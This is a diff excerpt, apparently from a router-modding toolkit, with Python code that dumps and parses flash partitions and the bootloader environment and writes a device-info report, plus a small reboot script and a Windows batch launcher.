self.env.bdata = EnvBuffer()
self.env_list = []
ret = self.env.fw
if verbose:
print("ENV info:")
plst = self.get_part_list(['config', 'APPSBLENV', 'bdata'], comptype = 'ends')
if not plst:
return ret
env_breed_addr = 0x60000 # breed env addr for r3g
env_breed_size = 0x20000
pb = self.get_part_num(env_breed_addr)
if pb >= 0:
plst.append(1000 + pb)
for i, p in enumerate(plst):
env = EnvBuffer()
type = ''
if p >= 1000 and p < 2000:
type = 'breed'
p = p - 1000
part = self.partlist[p]
name = part['name']
name = ''.join(e for e in name if e.isalnum())
if type == 'breed':
env.addr = env_breed_addr
data_size = part['size'] - (env.addr - part['addr'])
if data_size < env_breed_size:
continue
else:
env.addr = part['addr']
data_size = part['size']
env.max_size = data_size
fn_local = 'outdir/mtd{id}_{name}.bin'.format(id=p, name=name)
fn_remote = '/tmp/env_{name}.bin'.format(name=name)
if part['size'] < 128*1024:
bs = 1024
cnt = part['size'] // bs
else:
bs = 128*1024
cnt = part['size'] // bs
try:
gw.run_cmd("dd if=/dev/mtd{i} of={o} bs={bs} count={cnt}".format(i=p, o=fn_remote, bs=bs, cnt=cnt))
gw.download(fn_remote, fn_local)
gw.run_cmd("rm -f " + fn_remote)
except Exception:
continue
if verbose:
print(" addr: 0x%08X (size: 0x%08X) " % (env.addr, env.max_size), type)
if not os.path.exists(fn_local):
continue
if os.path.getsize(fn_local) <= 1:
continue
with open(fn_local, "rb") as file:
data = file.read()
if env.addr is None:
continue
prefix = data[0:4]
if prefix == b"\x00\x00\x00\x00" or prefix == b"\xFF\xFF\xFF\xFF":
if type != 'breed':
continue
env.data = data
env.offset = 0
self.env_list.append(env)
if self.env.fw.addr is None:
self.env.fw = env
if self.env.bdata.addr is None and name.lower().endswith('bdata'):
self.env.bdata = env
if self.env.breed.addr is None and type == 'breed':
self.env.breed = env
if type == 'breed':
env.offset = env.addr - part['addr']
data = data[env.offset:]
if data[0:4] != b'ENV\x00':
continue
max_size = env_breed_size
end = data.find(b"\x00\x00", 4)
if end > max_size:
continue
else:
max_size = data.find(b"\xFF\xFF\xFF\xFF", 4)
if max_size <= 0:
max_size = env.max_size
env.max_size = max_size
if type != 'breed':
env_crc32 = int.from_bytes(prefix, byteorder='little')
for i in range(1, 256):
size = 1024 * i
if size < len(data):
buf = data[4:size]
crc = binascii.crc32(buf)
else:
buf = data[4:] + (b'\x00' * (size - len(data) - 4))
crc = binascii.crc32(buf)
if crc == env_crc32:
if verbose:
print(" CRC32: 0x%08X" % crc)
if size <= data_size:
env.max_size = size
break
if verbose:
print(" max size: 0x%X" % env.max_size)
#if verbose:
# env.buf = EnvBuffer(data, '\x00')
# buf, crc = env.buf.pack(env.max_size)
# print(" XXX CRC: 0x%X (len = %X)" % (crc, len(buf)))
end = data.find(b"\x00\x00", 4)
if (end <= 4):
continue
data = data[4:end+1]
env.delim = '\x00'
env.crc_prefix = False
env.encoding = 'ascii'
env.var = env.parse_env_b(data, env.delim, encoding = env.encoding)
env.crc_prefix = True
if verbose >= 2 and env.var:
for i, (k, v) in enumerate(env.var.items()):
if (v is not None):
v = '=' + v
print(" " + k + v)
if self.env_list:
self.env.fw = self.env_list[0]
if verbose:
print("")
return self.env.fw
if __name__ == "__main__":
fn_dir = ''
fn_old = 'full_info_old.txt'
fn_local = 'full_info.txt'
fn_remote = '/outdir/full_info.txt'
if os.path.exists(fn_local):
if os.path.exists(fn_old):
os.remove(fn_old)
os.rename(fn_local, fn_old)
info = DevInfo(verbose = 1, infolevel = 99)
#if not info.partlist:
# die("В ядерном логе не обнаружена информация о разметке NAND")
file = open(fn_local, "w")
file.write("_MTD_partitions_:\n")
for i, part in enumerate(info.partlist):
file.write(" %2d > addr: %08X size: %08X name: \"%s\" \n" % (i, part['addr'], part['size'], part['name']))
file.write("\n")
file.write("_Base_info_:\n")
file.write(' Linux version: {}\n'.format(info.info.linux_ver))
file.write(' CPU arch: {}\n'.format(info.info.cpu_arch))
file.write(' CPU name: {}\n'.format(info.info.cpu_name))
file.write(' SPI rom: {}\n'.format(info.info.spi_rom))
file.write("\n")
file.write("_Kernel_command_line_:\n")
if (info.kcmdline):
for i, (k, v) in enumerate(info.kcmdline.items()):
v = '' if (v is None) else ('=' + v)
file.write(" " + k + v + '\n')
file.write("\n")
file.write("_NVRam_params_:\n")
if (info.nvram):
for i, (k, v) in enumerate(info.nvram.items()):
v = '' if (v is None) else ('=' + v)
file.write(" " + k + v + '\n')
file.write("\n")
file.write("_RootFS_current_:\n")
file.write(' num = {}\n'.format(info.rootfs.num))
file.write(' dev = "{}"\n'.format(info.rootfs.dev))
file.write(' mtd_name = "{}"\n'.format(info.rootfs.mtd_name))
file.write(' partition = "{}"\n'.format(info.rootfs.partition))
file.write("\n")
#file.write('Board name: "{}" \n\n'.format(info.board_name))
#file.write('Model: "{}" \n\n'.format(info.model))
file.write("_Version_info_:\n")
file.write(" UBoot: {} \n".format(info.ver.uboot1))
file.write(" OpenWrt: {} \n".format(info.ver.openwrt))
file.write(" Firmware: {} \n".format(info.ver.fw))
file.write(" Channel: {} \n".format(info.ver.channel))
file.write(" BuildTime: {} \n".format(info.ver.buildtime))
file.write(" Hardware: {} \n".format(info.ver.hardware))
file.write(" UBoot(2): {} \n".format(info.ver.uboot2))
file.write("\n")
file.write("_Bootloader_info_:\n")
for i, bl in enumerate(info.bl_list):
p = info.get_part_num(bl.addr)
name = info.partlist[p]['name'] if p >= 0 else "<unknown_name>"
file.write(" {}:\n".format(name))
file.write(" addr: 0x%08X \n" % (bl.addr if bl.addr else 0))
file.write(" size: 0x%08X \n" % (len(bl.img) if bl.img else 0))
file.write(" image size: {} bytes \n".format(bl.img_size))
file.write(" type: {} \n".format(bl.type))
file.write("\n")
file.write("_ENV_info_:\n")
for i, env in enumerate(info.env_list):
p = info.get_part_num(env.addr)
name = info.partlist[p]['name'] if p >= 0 else "<unknown_name>"
file.write(" {}:\n".format(name))
file.write(" addr: 0x%08X \n" % (env.addr if env.addr else 0))
file.write(" size: 0x%08X \n" % (env.max_size if env.max_size else 0))
file.write(" len: %d bytes \n" % env.len)
file.write(" prefix: {} \n".format(env.data[env.offset:env.offset+4] if env.data else None))
if env.var:
for i, (k, v) in enumerate(env.var.items()):
v = '' if (v is None) else ('=' + v)
file.write(" " + k + v + '\n')
file.write("\n")
file.close()
print("Full device information saved to file {}".format(fn_local))

@ -0,0 +1,18 @@
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
import os
import sys
import platform
sys.path.append(os.path.dirname(os.path.abspath(__file__)))
import gateway
from gateway import die
gw = gateway.Gateway()
print("Send command...")
gw.run_cmd("reboot")
print("Reboot activated!")

@ -0,0 +1,3 @@
@echo off
chcp 866 >NUL
python\python.exe menu.py
Loading…
Cancel
Save